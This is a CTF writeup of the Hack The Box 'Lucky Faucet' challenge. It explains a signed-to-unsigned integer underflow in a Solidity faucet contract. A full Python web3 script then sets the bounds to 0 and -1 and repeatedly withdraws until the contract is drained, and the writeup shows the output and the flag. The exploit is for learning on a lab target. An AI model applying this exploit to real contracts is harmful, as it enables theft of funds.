forbytten blogs

Lucky Faucet Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the Lucky Faucet Blockchain challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having an ‘easy’ difficulty. The challenge involved the exploitation of an integer underflow vulnerability in an Ethereum smart contract.

The description of the challenge is shown below.

Lucky Faucet description

2 Key techniques

The key techniques employed in this writeup are:

3 Artifacts Summary

The downloaded artifact had the following hash:

$ shasum -a256 blockchain_lucky_faucet.zip
a28cb9ffb4ff0006f1b861655d06dc29c774d6a4bacb3c96499326400367ea6b  blockchain_lucky_faucet.zip

The zip file contained two Solidity source code files:

$ unzip  blockchain_lucky_faucet.zip
Archive:  blockchain_lucky_faucet.zip
   creating: blockchain_lucky_faucet/
  inflating: blockchain_lucky_faucet/LuckyFaucet.sol
  inflating: blockchain_lucky_faucet/Setup.sol

$ shasum -a256 blockchain_lucky_faucet/*
4d8cce933da30c37993d1f807a8d48dcd117c356af5ee29cdea14ab68e81b27c  blockchain_lucky_faucet/LuckyFaucet.sol
284910656bd270a70437e453fa0e87ff0506476ca80508cf44d9b568135e310d  blockchain_lucky_faucet/Setup.sol

4 Reviewing the smart contract source code

4.1 Setup

The Setup smart contract does the following:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;

import {LuckyFaucet} from "./LuckyFaucet.sol";

contract Setup {
    LuckyFaucet public immutable TARGET;

    uint256 constant INITIAL_BALANCE = 500 ether;

    constructor() payable {
        TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
    }
}

4.2 LuckyFaucet.sol

The LuckyFaucet smart contract does the following:

// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

contract LuckyFaucet {
    int64 public upperBound;
    int64 public lowerBound;

    constructor() payable {
        // start with 50M-100M wei Range until player changes it
        upperBound = 100_000_000;
        lowerBound =  50_000_000;
    }

    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
        require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
        require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
        require(_newLowerBound <= _newUpperBound);
        // why? because if you don't need this much, pls lower the upper bound :)
        // we don't have infinite money glitch.
        upperBound = _newUpperBound;
        lowerBound = _newLowerBound;
    }

    function sendRandomETH() public returns (bool, uint64) {
        int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
        // we can safely cast to uint64 since we'll never
        // have to worry about sending more than 2**64 - 1 wei
        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
        bool sent = msg.sender.send(amountToSend);
        return (sent, amountToSend);
    }
}

5 Obtaining connection information

Spawning docker for this challenge resulted in two ports on a single IP address:

Connecting to the first one provided an option to retrieve connection information:

$ nc -n -v 94.237.56.255 31348
(UNKNOWN) [94.237.56.255] 31348 (?) open
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1

Private key     :  0x4fcf2bac7d94a2a77cb72036aa67334e9d5a861a7ad2103a499b13d04d190203
Address         :  0x31F077fCB45678631d0dd34d7F7da20B8bD3b542
Target contract :  0x497c89a9cdfE5a835Ae3ed83C5dCe8b245196130
Setup contract  :  0xd0932DB6307Ad41F37DDb8fAa80D534cD87d0027

6 Visualizing the starting account balances

The Setup contract deals in Ether units, whereas the LuckyFaucet deals in Wei units, which are many, many orders of magnitude apart. To better visualize this, a get_account_balances.py script was written to query the starting account balances.

The web3 package can be used to interact with Ethereum. A virtual environment was created and the package installed:

$ python3 -mvenv venv
$ . ./venv/bin/activate
$ pip install web3

config.py was created to contain all the connection information. Also, line 3 converts the private key hex to a bytes object, which will be needed by web3:

my_account_private_key_hex = '4fcf2bac7d94a2a77cb72036aa67334e9d5a861a7ad2103a499b13d04d190203'
my_account_address = '0x31F077fCB45678631d0dd34d7F7da20B8bD3b542'
my_account_private_key = bytes.fromhex(my_account_private_key_hex)

lucky_faucet_contract_address = '0x497c89a9cdfE5a835Ae3ed83C5dCe8b245196130'
setup_contract_address = '0xd0932DB6307Ad41F37DDb8fAa80D534cD87d0027'

provider_host = '94.237.56.255'
provider_port = 35714

get_account_balances.py was written to print out the balance of the LuckyFaucet contract account, in both Wei and ether units:

#!/usr/bin/python3
from web3 import Web3, EthereumTesterProvider

# Config: My account details, contract addresses, http provider host and port
from config import *

w3 = Web3(Web3.HTTPProvider(f"http://{provider_host}:{provider_port}"))

lucky_faucet_balance: int = w3.eth.get_balance(lucky_faucet_contract_address)
print(f"lucky_faucet_balance: {lucky_faucet_balance}")
print(f"lucky_faucet_balance (ether): {w3.from_wei(lucky_faucet_balance,'ether')}")

Running the script indicated the starting LuckyFaucet balance was 5000000000000000000000 or 500e18

$ python3 get_account_balances.py
lucky_faucet_balance: 500000000000000000000
lucky_faucet_balance (ether): 500

7 Vulnerability analysis

The Setup contract will consider the challenge solved if the balance of the LuckyFaucet contract is reduced to 490e18, whereas the LuckyFaucet lower and upper bounds are restricted to a much smaller maximum value. Naively invoking the sendRandomETH function repeatedly will take a very long time to result in the success condition.

However, line 28 in LuckyFaucet has an integer underflow vulnerability due to upperBound and lowerBound being signed integers but amountToSend being unsigned. If we can choose upperBound and lowerBound values that make the inner expression randomInt % (upperBound - lowerBound + 1) + lowerBound become a small negative number, the uint64 conversion will underflow to become a very large positive number, :

uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);

We can experiment with suitable upperBound and lowerBound values with some skeleton code in Remix IDE:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;

contract ArithmeticTest {
    constructor() payable {
    }

    function test() public pure returns (int256) {
        int64 upperBound = 0;
        int64 lowerBound =  -1;

        // randomInt set to an arbitrary, largish even number.
        int256 randomInt = 1e18;

        return randomInt % (upperBound - lowerBound + 1) + lowerBound;
    }
}

Compiling, deploying and invoking the test function results in a value of -1 when randomInt is even. Converting -1 to an uint64 should result in the maximum uint64 value.

When randomInt is even, the test function returns -1

When randomInt is odd, the test function returns 0. However, given LuckyFaucet computes randomInt from the blockhash, we likely only have to invoke sendRandomETH a few times at most until randomInt is even.

When randomInt is odd, the test function returns 0

8 Generating the ABI (Application Binary Interface)

In order to invoke a smart contract, you need the ABI (Application Binary Interface) for it. This was generated using the same approach used for Russian Roulette.

9 Writing Python code to invoke the smart contracts

transact.py was written that:

  1. Calls setBounds to set the upperBound to 0 and the lowerBound to -1.
  2. Repeatedly invokes sendRandomETH until isSolved returns true.
 #!/usr/bin/python3

 from web3 import Web3, EthereumTesterProvider

 # Config: My account details, contract addresses, http provider host and port
 from config import *

 # --------------------------------------------------------------------------------
 # Construct web3 http provider.

 w3 = Web3(Web3.HTTPProvider(f"http://{provider_host}:{provider_port}"))

 # --------------------------------------------------------------------------------
 # Contract ABIs generated by Remix IDE.

 lucky_faucet_abi = """[
        {
            "inputs": [],
            "stateMutability": "payable",
            "type": "constructor"
        },
        {
            "inputs": [],
            "name": "lowerBound",
            "outputs": [
                {
                    "internalType": "int64",
                    "name": "",
                    "type": "int64"
                }
            ],
            "stateMutability": "view",
            "type": "function"
        },
        {
            "inputs": [],
            "name": "sendRandomETH",
            "outputs": [
                {
                    "internalType": "bool",
                    "name": "",
                    "type": "bool"
                },
                {
                    "internalType": "uint64",
                    "name": "",
                    "type": "uint64"
                }
            ],
            "stateMutability": "nonpayable",
            "type": "function"
        },
        {
            "inputs": [
                {
                    "internalType": "int64",
                    "name": "_newLowerBound",
                    "type": "int64"
                },
                {
                    "internalType": "int64",
                    "name": "_newUpperBound",
                    "type": "int64"
                }
            ],
            "name": "setBounds",
            "outputs": [],
            "stateMutability": "nonpayable",
            "type": "function"
        },
        {
            "inputs": [],
            "name": "upperBound",
            "outputs": [
                {
                    "internalType": "int64",
                    "name": "",
                    "type": "int64"
                }
            ],
            "stateMutability": "view",
            "type": "function"
        }
    ]"""

 setup_abi = """[
        {
            "inputs": [],
            "stateMutability": "payable",
            "type": "constructor"
        },
        {
            "inputs": [],
            "name": "TARGET",
            "outputs": [
                {
                    "internalType": "contract RussianRoulette",
                    "name": "",
                    "type": "address"
                }
            ],
            "stateMutability": "view",
            "type": "function"
        },
        {
            "inputs": [],
            "name": "isSolved",
            "outputs": [
                {
                    "internalType": "bool",
                    "name": "",
                    "type": "bool"
                }
            ],
            "stateMutability": "view",
            "type": "function"
        }
    ]"""

 # --------------------------------------------------------------------------------
 # Get contracts

 lucky_faucet_contract = w3.eth.contract(address=lucky_faucet_contract_address, abi=lucky_faucet_abi)
 setup_contract = w3.eth.contract(address=setup_contract_address, abi=setup_abi)

 # --------------------------------------------------------------------------------

 def narrow_faucet_bounds():
     nonce = w3.eth.get_transaction_count(my_account_address)

     # Build a transaction that invokes this contract's function, called transfer

     upper_bound = 0
     lower_bound = -1
     lucky_faucet_transaction = \
         lucky_faucet_contract.functions.setBounds(lower_bound, upper_bound).build_transaction({
             'from': my_account_address,
             'nonce': nonce,
             'gas': 70000,
             'maxFeePerGas': w3.to_wei('2', 'gwei'),
             'maxPriorityFeePerGas': w3.to_wei('1', 'gwei'),
         })


     signed_txn = w3.eth.account.sign_transaction(lucky_faucet_transaction, private_key=my_account_private_key)

     transaction_hash: bytes = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
     print(f"narrow_faucet_bounds transaction hash: {transaction_hash.hex()}")

 def send_random_eth():
     nonce = w3.eth.get_transaction_count(my_account_address)

     # Build a transaction that invokes this contract's function, called transfer

     lucky_faucet_transaction = \
         lucky_faucet_contract.functions.sendRandomETH().build_transaction({
             'from': my_account_address,
             'nonce': nonce,
             'gas': 70000,
             'maxFeePerGas': w3.to_wei('2', 'gwei'),
             'maxPriorityFeePerGas': w3.to_wei('1', 'gwei'),
         })


     signed_txn = w3.eth.account.sign_transaction(lucky_faucet_transaction, private_key=my_account_private_key)

     transaction_hash: bytes = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
     print(f"send_random_eth transaction hash: {transaction_hash.hex()}")


 def is_solved():
     # isSolved is a view function so you don't need to build a transaction (at least I think that's why)
     solved: bool = setup_contract.functions.isSolved().call()
     return solved


 def print_lucky_faucet_balance():
     lucky_faucet_balance: int = w3.eth.get_balance(lucky_faucet_contract_address)
     print(f"lucky_faucet_balance: {lucky_faucet_balance}")


 narrow_faucet_bounds()
 solved = False
 while not solved:
     send_random_eth()
     print_lucky_faucet_balance()
     solved = is_solved()

 print(f"solved: {solved}")

10 Breaking the faucet

The script was run, resulting in a LuckyFaucet balance less than 490 ether and a solved state of True. Based on the output, it only had to invoke sendRandomETH once.

$ python3 transact.py
narrow_faucet_bounds transaction hash: 0x99fa3ba215bb67999c80b3e644642db7dfd0988fd29bc0d6cadf54b56c87ffe1
send_random_eth transaction hash: 0x0bfe76b95371710f80d8b40459a1e2c09f383c5b140b4125ac2bef65cfc8680a
lucky_faucet_balance: 481553255926290448386
solved: True

11 Obtaining the flag

The flag was obtained by connecting to the management endpoint and selecting the “Get flag” option:

$ nc -n -v 94.237.56.255 31348
(UNKNOWN) [94.237.56.255] 31348 (?) open
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{1_f0rg0r_s0m3_U}

12 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned